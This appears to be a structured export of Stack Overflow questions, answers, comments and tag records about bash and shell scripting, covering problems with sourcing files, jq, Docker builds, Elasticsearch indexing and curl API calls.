has body: I have a file in Ubuntu that is not working for source and I have no idea what's happening. $ cat .broken_file export D='222' $ cat .working_file_1 export D='88' $ D=5 $ echo $D 5 $ source .working_file_1 $ echo $D 88 $ source .broken_file $ ## What is happening here? It should be 222 $ echo $D 88 Now, both files have the same permissions: $ ll .working_file_1 .broken_file -rw-rw-r-- 1 my_user my_user -rw-rw-r-- 1 my_user my_user Moreover, if I copy the broken file, the new file just works: $ cp .broken_file .broken_file_copy $ source .broken_file_copy $ echo $D 222 So it is not the contents of the file either. I can modify my .broken_file (changing names of variables and values) and it still keeps on failing. $ echo $SHELL /bin/bash $ echo $BASH_VERSION 5.1.16(1)-release $ uname -srv Linux 6.2.0-26-generic #26~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Jul 13 16:27:29 UTC 2 Any idea what this can be? Update: type returns some weird information (I don't know how to interpret this): $ type .broken_file .broken_file is DIFFERENT_FOLDER/.broken_file $ type .broken_file_copy bash: type: .broken_file_copy: not found
has comment: http://stackoverflow.com/comment/135759373
score: 0
type: Question
tagged with: shell
answer count: 1
has title: File not doing anything when sourced but a copy works
has comment: http://stackoverflow.com/comment/135758958
has comment: http://stackoverflow.com/comment/135759830
has comment: http://stackoverflow.com/comment/135766176
has answer: http://stackoverflow.com/a/77010188
tagged with: bash
has comment: http://stackoverflow.com/comment/135760072
has comment: http://stackoverflow.com/comment/135759168
accepted answer: http://stackoverflow.com/a/77010188
type: AnsweredQuestion

http://stackoverflow.com/comment/135729702
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76993557
has text: Do you need to output XML? Or just extracting `Product testing machine ` would be enough?
type: QuestionComment

http://stackoverflow.com/q/77042792
duplicate of: http://stackoverflow.com/q/35712644
linked to: http://stackoverflow.com/q/35712644
has comment: http://stackoverflow.com/comment/135822246
tagged with: bash
has body: If I encode via $#:> echo -ne "Apps:apps1" | openssl enc -base64 QXBwczphcHBzMQ== but if i write a script for the same in temp.sh file. #!/bin/sh echo -ne "Apps:apps1" | openssl enc -base64 this gets printed. LW5lIEFwcHM6YXBwczEK and run $#:> sh temp.sh $#:> sh --version GNU bash, version 3.2.57(1)-release (x86_64-apple-darwin22) Copyright (C) 2007 Free Software Foundation, Inc.
tagged with: sh
has title: Bash: Why does K get appended to the end of base64 encoded value when running via script?
score: 0
has comment: http://stackoverflow.com/comment/135818739
type: Question
answer count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135817172
type: UnansweredQuestion

http://stackoverflow.com/comment/135632234
comment on: http://stackoverflow.com/q/76936679
has text: @Kaz there is indeed a SIGINT when readline is waiting for user input and my handler executes properly. The thing is that I must be resetting variables in the wrong order because my prompt get messed up when I interrupt an executable launched with execve (and not when I don't launch an executable nor when my executable finishes without being interrupted)
score: 0
type: QuestionComment
type: Comment

date
tag name: date
tags question: http://stackoverflow.com/q/76886382
type: Tag
tags question: http://stackoverflow.com/q/77997666
tags question: http://stackoverflow.com/q/77998354
tags question: http://stackoverflow.com/q/78057810
tags question: http://stackoverflow.com/q/78329310
tags question: http://stackoverflow.com/q/78501464
tags question: http://stackoverflow.com/q/79380617
tags question: http://stackoverflow.com/q/79517529

http://stackoverflow.com/comment/135588802
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76913125
has text: yes it is not a valid json and I want to use this array of objects only is there any other way of parsing this with jq

http://stackoverflow.com/comment/135768899
type: AnswerComment
has text: [jqplay.org for solution.](https://jqplay.org/s/l8VrDyjMfid)
comment on: http://stackoverflow.com/a/77013900
score: 0
type: Comment

http://stackoverflow.com/a/76896974
type: Answer
score: 2
has body: Solution in TXR Lisp: $ txr calcpairs.tl caulatepet.py --i file5.txt, file7.txt --menscor men-code.list --stat sex-rd.ratio --out ./result/file5_file7.txt caulatepet.py --i file5.txt, file11.txt --menscor men-code.list --stat sex-rd.ratio --out ./result/file5_file11.txt caulatepet.py --i file5.txt, file13.txt --menscor men-code.list --stat sex-rd.ratio --out ./result/file5_file13.txt caulatepet.py --i file5.txt, file14.txt --menscor men-code.list --stat sex-rd.ratio --out ./result/file5_file14.txt caulatepet.py --i file5.txt, file21.txt --menscor men-code.list --stat sex-rd.ratio --out ./result/file5_file21.txt caulatepet.py --i file5.txt, file22.txt --menscor men-code.list --stat sex-rd.ratio --out ./result/file5_file22.txt caulatepet.py --i file5.txt, file23.txt --menscor men-code.list --stat sex-rd.ratio --out ./result/file5_file23.txt caulatepet.py --i file7.txt, file11.txt --menscor men-code.list --stat sex-rd.ratio --out ./result/file7_file11.txt caulatepet.py --i file7.txt, file13.txt --menscor men-code.list --stat sex-rd.ratio --out ./result/file7_file13.txt caulatepet.py --i file7.txt, file14.txt --menscor men-code.list --stat sex-rd.ratio --out ./result/file7_file14.txt caulatepet.py --i file7.txt, file21.txt --menscor men-code.list --stat sex-rd.ratio --out ./result/file7_file21.txt caulatepet.py --i file7.txt, file22.txt --menscor men-code.list --stat sex-rd.ratio --out ./result/file7_file22.txt caulatepet.py --i file7.txt, file23.txt --menscor men-code.list --stat sex-rd.ratio --out ./result/file7_file23.txt caulatepet.py --i file11.txt, file13.txt --menscor men-code.list --stat sex-rd.ratio --out ./result/file11_file13.txt caulatepet.py --i file11.txt, file14.txt --menscor men-code.list --stat sex-rd.ratio --out ./result/file11_file14.txt caulatepet.py --i file11.txt, file21.txt --menscor men-code.list --stat sex-rd.ratio --out ./result/file11_file21.txt caulatepet.py --i file11.txt, file22.txt --menscor men-code.list --stat sex-rd.ratio --out ./result…
answers question: http://stackoverflow.com/q/76896765
upvote count: 2
downvote count: 0

http://stackoverflow.com/q/76922651
has comment: http://stackoverflow.com/comment/135604890
has body: I'm seeking an elegant CLI way to zero-pad filenames that are numbered alpha-numeric strings of an arbitrary length, and which have dashes in place of spaces. E.g. I would like the following list of files: 1-file-name-of-one-length.mp3 2-shorter-file-name.mp3 3-really-really-really-long-file-name.mp3 > .. 10-another-file-name.mp3 To become: 01-file-name-of-one-length.mp3 02-shorter-file-name.mp3 03-really-really-really-long-file-name.mp3 > .. 10-another-file-name.mp3 I've spent a day learning about awk, bash and rename approaches to zero-padding, but previous questions here and tutorials I've found seem to assume either a purely numerical or a standardised-length file-naming scheme. In such cases the fields between the '-' delimiters can be broken down and re-assembled in a predictable ways with e.g. awk. My strings are of unknown length, so contain an unknown number of fields between the '-' characters. I'm envisioning the answer will be a 'for loop'. The logic of what I want the loop to do is something like: Read file name to the first '-' character. Determine if the number preceding the first '-' is a single or double-digit number. If it is a single digit number, insert a '0' character in front of it. EDIT FOR ANSWER Renaud pointed out the correct syntax for a simple for-loop (my own attempt along these lines had resulted in padding of double-digit numbers too, but Renaud's code worked) for f in [0-9]-*.mp3; do mv "$f" "0$f"; done
tagged with: awk
tagged with: bash
type: Question
has answer: http://stackoverflow.com/a/76922723
has title: How to zero-pad filenames of numbered, delimitered alphnumeric strings of arbitrary length in bash?
accepted answer: http://stackoverflow.com/a/76922723
has comment: http://stackoverflow.com/comment/135604939
score: 0
tagged with: shell
upvote count: 1
answer count: 1
favorite count: 0
type: AnsweredQuestion
downvote count: 1

http://stackoverflow.com/q/76959096
tagged with: bash
accepted answer: http://stackoverflow.com/a/76961205
favorite count: 0
type: AnsweredQuestion
has body: I'm trying to build a docker container for a tool named DECoN (versin 2.0.0). To do so, I'm doing these steps: start FROM the latest bash image RUN the download of the tool's source code and extract it set the WORKDIR to the tool's ./Linux subdirectory RUN the existing setup.sh script that is found within the Linux subdirectory. # syntax=docker/dockerfile:1 # start from a bash image FROM bash:latest # download files RUN wget https://github.com/RahmanTeam/DECoN/archive/refs/tags/v2.0.0.tar.gz &amp;&amp; \ tar -xf v2.0.0.tar.gz # go to directory WORKDIR DECoN-2.0.0/Linux # run setup script RUN setup.sh # check directory content RUN ls You can see the existence of the script with the last RUN ls. However, the script is not found and the docker build returns the following error: docker build -t decon:2.0.0 . ... /bin/sh: setup.sh: not found The command '/bin/sh -c setup.sh' returned a non-zero code: 127 Do you have any idea what I'm doing wrong? I don't understand why the script is not found. I have tried setup.sh, ./setup.sh, /DECoN-2.0.0/Linux/setup.sh, but nothing works. EDIT #1: This is the content of the bash script: #!/bin/bash Rscript sessionInfo.R &gt; setup.log 2&gt;&amp;1
has answer: http://stackoverflow.com/a/76961205
answer count: 2
score: -1
tagged with: dockerfile
type: Question
has answer: http://stackoverflow.com/a/76959311
downvote count: 1
possible better answer: http://stackoverflow.com/a/76959311
has title: Docker build does not see existing bash script and can't run it
tagged with: docker
upvote count: 0
tagged with: shell
tagged with: linux

http://stackoverflow.com/comment/135613249
type: Comment
score: 1
has text: Thanks for sharing your efforts, please do add samples of input and expected output in your question for better understanding thank you.
type: QuestionComment
comment on: http://stackoverflow.com/q/76927566

http://stackoverflow.com/q/76906817
favorite count: 0
has comment: http://stackoverflow.com/comment/135579781
downvote count: 2
has answer: http://stackoverflow.com/a/76906862
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135578925
type: UnansweredQuestion
upvote count: 1
has body: I am trying to write a bash script that runs a command (e.g., command1), and while command1 is running, the script starts a second command (e.g., command2). And once command2 finishes, the script stops command1. What I tried: I tried command1 &amp; command2. However, this does not enforce triggering command2 AFTER command1, which is in contrast with what I need. Using command1 &amp;&amp; command2 does not work either, as this would run command2 only after command1 is finished, which is not what I need. Also, I don't know how to stop command1 once command2 is done.
has title: How to write a bash script that runs a linux command, and while it is running, runs another command?
score: -1
tagged with: linux
tagged with: bash
answer count: 1

http://stackoverflow.com/q/76903745
has answer: http://stackoverflow.com/a/76904277
has comment: http://stackoverflow.com/comment/135573219
has comment: http://stackoverflow.com/comment/135573622
has title: Shell Script taking long time to add indexing to JSON file and push elastic search
has body: Shell Script taking long time to add indexing to JSON file. We have large number json files (with all required data) where we add indexing logic to it and then push to elastic search. Each file has 200K records. Indexing to one file is taking around 30 mins and push to elastic search takes around 20 seconds which is fine. Taking 30 mins for indexing is too long as we need to process around 5k files (approx 80 GB data). We are nor expert in shell scripting, can anyone help to make this indexing logic fast? 30 mins for one files seems to be very long. We are reading each line from json and adding below line for for indexing: "{\"index\":{\"_id\":$guid,\"_index\" : \"demoindex\", \"_type\" : \"usage\"}}\n$row\n"; And this is the code: #!/bin/bash FEED_DIR="/apps/elasticsearch/demo" FEED_TMP_DIR="/apps/elasticsearch/demo/temp" FEED_ARCHIVE="/apps/elasticsearch/demo/archive" FEEDER_LOG="/apps/log/feeder/demofeeder.log" SCRPT_HOME="/apps/bin/elasticsearch" LOCKFILE=$SCRPT_HOME/system/demofeeder.lock # Skip if another version of Feeder2 is still executing if test -f "$LOCKFILE"; then echo "demofeeder.sh is still running." echo "$LOCKFILE exists." echo "Exiting !!" exit 1; fi echo "Creating lock file: $LOCKFILE" > $FEEDER_LOG touch $LOCKFILE echo -e "\n Setting Replica to 0 before indexing!\n" >> $FEEDER_LOG curl -XPUT -H 'Content-Type: application/json' 'localhost:9200/demoindex/_settings' -d '{ "number_of_replicas" : 0 } }' echo "Starting demoindex Feeding Data at "$(date -u)"." >> $FEEDER_LOG echo "Starting demoindex Feeding Data at "$(date -u)"." echo "Clearing Temp directory" >> $FEEDER_LOG rm -f $FEED_TMP_DIR/*.json cd $FEED_DIR for feed in $(ls -1 *.json) do echo "Parsing $feed" while IFS= read -r line; do guid=`echo "$line" | awk -F "\"" '{print $4}'`; echo "{\"index\": {\"_index\": \"demoindex\", \"_id\": \"$guid\", \"_type\": \"usage\"}}" >> $FEED_TMP_DIR/"$feed"; echo $line >> $FEED_TMP_DIR/"$feed"; done <"$feed" echo "Loading parsed files into elasticsearch: $FE…
tagged with: shell
upvote count: 1
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135573974
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/76904277
tagged with: elasticsearch
downvote count: 0
score: 1
type: Question
has comment: http://stackoverflow.com/comment/135573660

http://stackoverflow.com/a/76896721
accepted answer of: http://stackoverflow.com/q/76896657
has comment: http://stackoverflow.com/comment/135561004
downvote count: 0
has body: The following script works properly based on the provided conditions. #!/bin/sh RESULT="Exited (0) Less than a second ago" if [ "$RESULT" = "Exited (0) Less than a second ago" ] || [ "$RESULT" = "Stop" ]; then echo 'exited' elif [ "$RESULT" = "Up" ]; then echo 'stopped and exited' else echo 'Docker already removed' fi I changed the parameter "-o" to "[ ] || [ ]" after being informed by tjm3772 that the "-o" option is obsolete in POSIX 2017.
has comment: http://stackoverflow.com/comment/135570413
answers question: http://stackoverflow.com/q/76896657
type: Answer
upvote count: 4
type: AcceptedAnswer
score: 4

http://stackoverflow.com/comment/135589391
comment on: http://stackoverflow.com/q/76913085
type: QuestionComment
type: Comment
has text: 1) Both files are ordered by field 1? 2) They have the same ids in field 1? 3) They have the same number of lines except for the header?
score: 0

http://stackoverflow.com/a/76929011
type: Answer
score: 2
answers question: http://stackoverflow.com/q/76928865
has comment: http://stackoverflow.com/comment/135616160
upvote count: 2
has comment: http://stackoverflow.com/comment/135623360
downvote count: 0
has comment: http://stackoverflow.com/comment/135616637
has body: $1 is not the commit mesage, but the name of the file containing commit message, so you need : commit_msg=`cat $1`

http://stackoverflow.com/comment/135824085
has text: `locale currency_symbol` doesn't output anything on my macOS
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77046245

http://stackoverflow.com/a/76952209
has body: You need to use the RESET ANSI code to reset applied style: print(f"\033[1;31;40m An error occurred while verifying alerts: {str(e)}\033[0m") I often use this cheatsheet for ANSI codes, the ESCAPE sequence is \033 in Python.
has comment: http://stackoverflow.com/comment/135670137
has comment: http://stackoverflow.com/comment/135670449
downvote count: 0
has comment: http://stackoverflow.com/comment/135685353
type: AcceptedAnswer
upvote count: 1
answers question: http://stackoverflow.com/q/76952166
has comment: http://stackoverflow.com/comment/135670298
has comment: http://stackoverflow.com/comment/135684226
accepted answer of: http://stackoverflow.com/q/76952166
score: 1
type: Answer

http://stackoverflow.com/comment/135807299
has text: Be sure to quote your variables to avoid cryptic and dangerous errors, see https://mywiki.wooledge.org/Quotes. Also see [correct-bash-and-shell-script-variable-capitalization](https://stackoverflow.com/questions/673055/correct-bash-and-shell-script-variable-capitalization) for when to capitalize variable names.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/77037389

http://stackoverflow.com/comment/135607709
score: 0
type: QuestionComment
has text: Try changing the order of the options: `clone -d test -s charm...`; you'll likely find that makes a difference. To avoid requiring a specific order in the options, you can move the `git` executions and `return` statements out of the loop, and just use the `while getopts` loop to set variables.
type: Comment
comment on: http://stackoverflow.com/q/76905287

http://stackoverflow.com/q/77027254
tagged with: linux
has comment: http://stackoverflow.com/comment/135789713
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/10683349
answer count: 3
score: 0
has body: I have a project that needs to render a template. I want to ensure in advance that all variables in the template are not empty. I was able to extract a template with a single row of data containing only one variable by a script like: template file: tmpl_single.tmpl { "var1": "${VARIABLE_1}", "var2": "${VARIABLE_2}", "var3": "${VARIABLE_3}" } shell script file: generate.sh #!/bin/bash DIR_BASE="$(cd "$(dirname "$0")" && pwd)" render_2_file() { template_file=$1 out_file=$2 set +u for env in $(sed -n 's/^[^#].*${\(.*\)}.*/\1/p' $template_file); do # debug echo "$env : $(eval echo \$${env})" if [ -z "$(eval echo \$${env})" ]; then echo "environment variable '${env}' not set" missing=true fi done if [ "${missing}" ]; then echo 'Please check the above variable' exit 1 fi eval "cat << EOF $(cat ${template_file}) EOF" >"$out_file" set -u } main(){ # debug generate # VARIABLE_1=var1_val # VARIABLE_2=var1_val # VARIABLE_3=var1_val # single var in one line TMPL_PATH=$DIR_BASE/tmpl_single.tmpl OUT_FILE=$DIR_BASE/tmpl_single.json # multi var in one line # TMPL_PATH=$DIR_BASE/tmpl_multi.tmpl # OUT_FILE=$DIR_BASE/tmpl_multi.json echo "check path = $OUT_FILE" if [ ! -f "$OUT_FILE" ]; then echo "not found, generating" render_2_file "$TMPL_PATH" "$OUT_FILE" if [ $? = 0 ]; then echo "generate successfully" fi else echo "out file existed, no need to generate" fi } main "$@" The output result is as follows, it can detect the case of one variable in a single line, at this time, the output is wrong and the target file is not generated stdout: not found, generating VARIABLE_1 : environment variable 'VARIABLE_1' not set VARIABLE_2 : environment variable 'VARIABLE_2' not set VARIABLE_3 : environment variable 'VARIABLE_3' not set Please check the above variable However, if a single line in the template file contains multiple variables, only the last variable in the line can be extracted. template file: tmpl_multi.tmpl { "var12": "test1_${VARIABLE_1}:test2_${VARIABLE_2}", "var3": "test3_${VARI…
has comment: http://stackoverflow.com/comment/135794064
has comment: http://stackoverflow.com/comment/135791272
tagged with: bash
has comment: http://stackoverflow.com/comment/135789772
has answer: http://stackoverflow.com/a/77027440
has answer: http://stackoverflow.com/a/77029435
has comment: http://stackoverflow.com/comment/135789702
has comment: http://stackoverflow.com/comment/135789706
has title: How does the shell extract multi variables in a file through sed
has comment: http://stackoverflow.com/comment/135791306
has comment: http://stackoverflow.com/comment/135790253
type: Question
has answer: http://stackoverflow.com/a/77027644
tagged with: shell

http://stackoverflow.com/comment/135717738
type: Comment
score: 0
has text: If `FOOWHEREBAR the column BOBALP_ACCT_PROD_IDSUE` existed in the input should that line be printed or not? Please include substrings, punctuation, regexp metachars, etc. in your sample input/output so we can see how you want them handled. It's always much easier to match lines you want than to not match similar lines you don't want.
type: QuestionComment
comment on: http://stackoverflow.com/q/76986443

http://stackoverflow.com/a/77039474
type: Answer
has comment: http://stackoverflow.com/comment/135811064
answers question: http://stackoverflow.com/q/77039347
accepted answer of: http://stackoverflow.com/q/77039347
type: AcceptedAnswer
upvote count: 3
has comment: http://stackoverflow.com/comment/135811031
has comment: http://stackoverflow.com/comment/135839657
downvote count: 0
has body: Store the output in a variable, let it be output output="=> => naming to docker.io/library/my_app:v1.0" image_and_tag=$(echo "$output" | awk -F '/' '{print $NF}') image_name=$(echo "$image_and_tag" | awk -F ':' '{print $1}') image_tag=$(echo "$image_and_tag" | awk -F ':' '{print $2}') echo "Image Name: $image_name" echo "Image Tag: $image_tag" Regarding tagging: Use specific version tags for production deployments (e.g., v1.0, v1.1). Use a 'latest' tag for testing, development, and internal use, but avoid using it for production. Periodically update the 'latest' tag to the latest stable version when appropriate, but make sure to test thoroughly before deploying to production.
score: 3
has comment: http://stackoverflow.com/comment/135810993

http://stackoverflow.com/comment/135796544
comment on: http://stackoverflow.com/a/77029435
score: 0
type: Comment
type: AnswerComment
has text: Wow, the `txr` author is a wild-man. I'm not sure which manual is more in-depth, the `txr` reference or the `awk` user's guide. Will take significant digesting, but certainly interesting.

readline
tag name: readline
tags question: http://stackoverflow.com/q/76936679
type: Tag
tags question: http://stackoverflow.com/q/77148106
tags question: http://stackoverflow.com/q/77578307
tags question: http://stackoverflow.com/q/77944976
tags question: http://stackoverflow.com/q/77914023
tags question: http://stackoverflow.com/q/78919168

http://stackoverflow.com/comment/135719179
type: Comment
comment on: http://stackoverflow.com/q/76987590
score: 0
has text: Please update the question with the expected result
type: QuestionComment

http://stackoverflow.com/comment/135820776
score: 0
comment on: http://stackoverflow.com/q/77042234
has text: `systemctl status service_name` return code `0` for active, `> 0` for inactive
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135786131
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77024360
has text: @markp-fuso It worked beautifully! Huge thanks for the suggestion! I was able to spawn dozens of the same command each with their own PID.
score: 0

locale
tags question: http://stackoverflow.com/q/77046244
type: Tag
tag name: locale

http://stackoverflow.com/comment/135790253
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77027254
has text: `echo '1a2b' | grep -o '[0-9]'` outputs 1 and 2. You wrote "empty": I assume this includes set variables but with an empty value (so not only unset values?)
score: 0

http://stackoverflow.com/q/76990480
has comment: http://stackoverflow.com/comment/135724155
accepted answer: http://stackoverflow.com/a/76990532
upvote count: 0
tagged with: shell
tagged with: linux
tagged with: bash
score: -2
favorite count: 0
has body: I have heard it said, multiple times, that in Bash source is merely an alias for .. Even in the Bash man page. However, I've noticed, while digging into this question that they are not identical when called via find. Here is a reproducible example: I've created a file called test.sh uberhumus@pc:~/tmp$ cat ./test.sh #!/bin/bash echo "Kazabooboo" uberhumus@pc:~/tmp$ find ~/tmp -type f -iname "test.sh" -exec . {} \; find: ‘.’: Permission denied uberhumus@pc:~/tmp$ ind ~/tmp -type f -iname "test.sh" -exec source {} \; find: ‘source’: No such file or directory My question is what causes the difference, and are there any other differences that aren't discussed?
has answer: http://stackoverflow.com/a/76990532
has comment: http://stackoverflow.com/comment/135725410
linked to: http://stackoverflow.com/q/20094271
has title: Why and when do source and dot behave differently in find -exec {}
downvote count: 2
tagged with: gnu-findutils
answer count: 1
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/76981915
has comment: http://stackoverflow.com/comment/135724296
type: Question

http://stackoverflow.com/q/76923495
upvote count: 1
type: Question
tagged with: shell
tagged with: cron
has comment: http://stackoverflow.com/comment/135612517
downvote count: 0
score: 1
answer count: 1
has title: Use "crontab -l" in if statement to send mail if no crontab for {user}
favorite count: 0
has body: I am writing a scrip to send a email alert if no crontab is present for the user. if [[ $(crontab -l) == "no crontab for {user}" ]]; then mailx .... fi But the script is ending at crontab -l, the body of the if statement is not being executed. I tried to run grep on the output: crontab -l | grep "no crontab for {user}" did not work
accepted answer: http://stackoverflow.com/a/76924108
has comment: http://stackoverflow.com/comment/135607403
tagged with: bash
type: AnsweredQuestion
tagged with: scripting
has answer: http://stackoverflow.com/a/76924108

http://stackoverflow.com/a/76975128
downvote count: 0
answers question: http://stackoverflow.com/q/76974809
type: Answer
score: 3
has body: You could use the yq tool for processing YAML files – it is specifically built for this job: $ yq 'del(.testing.booking)' file.yml testing: working: - aaa: daa - bbb: rrr maintaining: - eee: dhhaa - fff: ffdaa To update a file inplace (unrecoverably overwriting the original!), run yq -i ….
has comment: http://stackoverflow.com/comment/135723430
upvote count: 3
has comment: http://stackoverflow.com/comment/135723705
has comment: http://stackoverflow.com/comment/135723727

http://stackoverflow.com/q/76993197
has title: jq with json Cannot index string with string "version"
has comment: http://stackoverflow.com/comment/135728897
has answer: http://stackoverflow.com/a/76993592
score: 0
type: Question
tagged with: shell
has body: Sample Json { "product": [ { "versions": "1.0", "components": [ { "name": "JVM", "version": "11.0.16" }, { "name": "TOMCAT", "version": "9.0.56" } ] }, { "versions": "1.1", "components": [ { "name": "JVM", "version": "11.0.16" }, { "name": "TOMCAT", "version": "9.0.56" } ] } ] } Command jq -r '.product[] | .versions, .components[] | "\(.name): \(.version)"' version_mapper.json Output jq: error (at version_mapper.json:29): Cannot index string with string "version" Wrong Command jq -r '.product[] | .wrongKey, .components[] | "\(.name): \(.version)"' version_mapper.json Output null: null JVM: 11.0.16 TOMCAT: 9.0.56 null: null JVM: 11.0.16 TOMCAT: 9.0.56 Not sure what is happening
tagged with: http://stackoverflow.com/tag/json
answer count: 1
has comment: http://stackoverflow.com/comment/135729029
accepted answer: http://stackoverflow.com/a/76993592
tagged with: jq
type: AnsweredQuestion

http://stackoverflow.com/comment/135589401
score: 0
comment on: http://stackoverflow.com/q/76913434
has text: if I hit the URL using postman then I can confirm that description is empty... like { "expand": "renderedFields,names,schema,operations,editmeta,changelog,versionedRepresentations", "id": "360880", "key": "JDD-2334", "fields": { "description": "",
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/135593334
score: 0
type: QuestionComment
type: Comment
has text: Why not just `exec "$@"`?
comment on: http://stackoverflow.com/q/76915647

http://stackoverflow.com/comment/135692393
has text: Bash syntax is not processed after expanding variables. You would have to use `eval "${procs_arr[$i]}"` to do what you want.
comment on: http://stackoverflow.com/q/76972787
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135589350
comment on: http://stackoverflow.com/q/76913434
has text: `= null` is not a thing. Use `-z "$JIRA_DESCRIPTION" `
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/q/76913434
has comment: http://stackoverflow.com/comment/135589543
score: -1
tagged with: gitlab-ci
tagged with: bash
has comment: http://stackoverflow.com/comment/135589384
type: Question
has comment: http://stackoverflow.com/comment/135589777
has title: Unable to validate if a string is null or not in shell script
has comment: http://stackoverflow.com/comment/135589522
has comment: http://stackoverflow.com/comment/135589528
has comment: http://stackoverflow.com/comment/135589401
has comment: http://stackoverflow.com/comment/135589618
has comment: http://stackoverflow.com/comment/135589350
has comment: http://stackoverflow.com/comment/135589553
has comment: http://stackoverflow.com/comment/135589838
has body: I'm making curl call in my shell script which is successful and then I try to validate if the $JIRA_DESCRIPTION is null or not in response that received from API call by using following code:- - export JIRA_DESCRIPTION=$(echo ${JIRA_DETAIL} | jq '.fields.description') - | if "$JIRA_DESCRIPTION" = null then echo "FAILED! Jira description cannot be empty"; exit 1 else echo "PASSED! Jira description check"; echo $? fi This check is failing every time and I get passed condition even if the string is empty. IfI try to print using echo the value of jira_description variable then I just get double quotes with no space in between "". What is wrong with my code? How to fix this? Full source code is here:- validate-jira: image: python:3.9 variables: JIRA_HEADER: 'Accept: application/json' UNACCEPTED_JIRA_STATUSES: "Done, Completed, Closed" script: # extract the JIRA id out of the Merge Request title. # The following logic assumes a Merge Request title must start with a valid JIRA issue id and that all JIRA projects start with a letter - export MERGE_REQUEST_JIRA_ID=$(echo ${CI_MERGE_REQUEST_TITLE} | sed 's/\([0-9]\):.*$/\1/') # Validate if we had successfully extracted a Jira Issue Id - | if test -z "$(echo "$MERGE_REQUEST_JIRA_ID" | sed "/^${JIRA_PROJECT_CODE}-/d")" then echo "Jira Id found in the Merge Request title!"; echo $? else echo "Either Jira Id not found in the Merge Request title or it is invalid (should start with ${JIRA_PROJECT_CODE}-)!"; exit 1 fi # Make API Call to get the JIRA Details - export JIRA_DETAIL=$(curl -u ${JIRA_USERNAME}:${JIRA_PASSWORD} -H "${JIRA_HEADER}" -X GET "https://${JIRA_SERVER}/rest/api/2/issue/${MERGE_REQUEST_JIRA_ID}?fields=description&fields=status&fields=customfield_11000&fields=customfield_15700") # extract the JIRA key id, this also validates JIRA issue referenced is valid - export JIRA_KEY_ID=$(echo ${JIRA_DETAIL} | jq -e '.key') # extract the JIRA status - export JIRA_STATUS=$(echo ${JIRA_DETAIL} | jq '.fields.status.name') #…
tagged with: shell
has comment: http://stackoverflow.com/comment/135589787
has answer: http://stackoverflow.com/a/76917470
upvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135589944
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135589749
downvote count: 1
has comment: http://stackoverflow.com/comment/135589774

http://stackoverflow.com/q/77032180
upvote count: 2
tagged with: shell
downvote count: 4
tagged with: bash
has body: I am trying to execute a curl request for each data of an array, but I actually only gets one of the answers (even if all the url are ok and the requests works one by one) My script is as below: tmp="{ \"data\":{ \"id\":\"sv-Ps7epZJypQGB4Jb3\", \"type\":\"state-versions\", \"relationships\":{ \"outputs\":{ \"data\":[ { \"id\":\"wsout-YDDEzn2h9Y9fJERB\", \"type\":\"state-version-outputs\" }, { \"id\":\"wsout-CYzpWK2uMDGFn9Yr\", \"type\":\"state-version-outputs\" }, { \"id\":\"wsout-RroeVzLsv6PxJ56A\", \"type\":\"state-version-outputs\" }, { \"id\":\"wsout-8ts3sHe7NsE46mN6\", \"type\":\"state-version-outputs\" } ] } } } }" echo "$tmp" output_ids=$(echo "${tmp}" | jq -r '.data.relationships.outputs.data[].id') echo "iic" base_url="https://app.terraform.io/api/v2/state-version-outputs/" declare -a tableau # Créez un fichier temporaire contenant le texte tempfile=$(mktemp) echo "$output_ids" &gt; "$tempfile" # Parcourez chaque ligne du fichier et ajoutez-la au tableau while IFS= read -r ligne; do tableau+=("$ligne") done &lt; "$tempfile" # Supprimez le fichier temporaire cat "$tempfile" rm "$tempfile" declare -p tableau # Accédez aux éléments du tableau for element in "${tableau[@]}"; do echo "Élément du tableau : $element" full_url="$base_url$element" echo "URL : $full_url" output_details=$(curl \ --header "Authorization: Bearer $TOKEN" \ --header "Content-Type: application/vnd.api+json" \ -s "$full_url") echo "$output_details" done and the (wrong) result: { "data":{ "id":"sv-Ps7epZJypQGB4Jb3", "type":"state-versions", "relationships":{ "outputs":{ "data":[ { "id":"wsout-YDDEzn2h9Y9fJERB", "type":"state-version-outputs" }, { "id":"wsout-CYzpWK2uMDGFn9Yr", "type":"state-version-outputs" }, { "id":"wsout-RroeVzLsv6PxJ56A", "type":"state-version-outputs" }, { "id":"wsout-8ts3sHe7NsE46mN6", "type":"state-version-outputs" } ] } } } } wsout-YDDEzn2h9Y9fJERB wsout-CYzpWK2uMDGFn9Yr wsout-RroeVzLsv6PxJ56A wsout-8ts3sHe7NsE46mN6 declare -a tableau=([0]=$'wsout-YDDEzn2h9Y9fJERB\r'…
linked to: http://stackoverflow.com/q/45772525
has answer: http://stackoverflow.com/a/77034545
has title: My script only fetches the response from the last curl request
favorite count: 0
score: -2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/77034545
type: Question
answer count: 1

http://stackoverflow.com/q/77051352
has comment: http://stackoverflow.com/comment/135834058
type: Question
upvote count: 4
tagged with: shell
type: UnansweredQuestion
answer count: 1
tagged with: posix
has comment: http://stackoverflow.com/comment/135837492
has answer: http://stackoverflow.com/a/77055259
has comment: http://stackoverflow.com/comment/135836723
score: 4
has comment: http://stackoverflow.com/comment/135836765
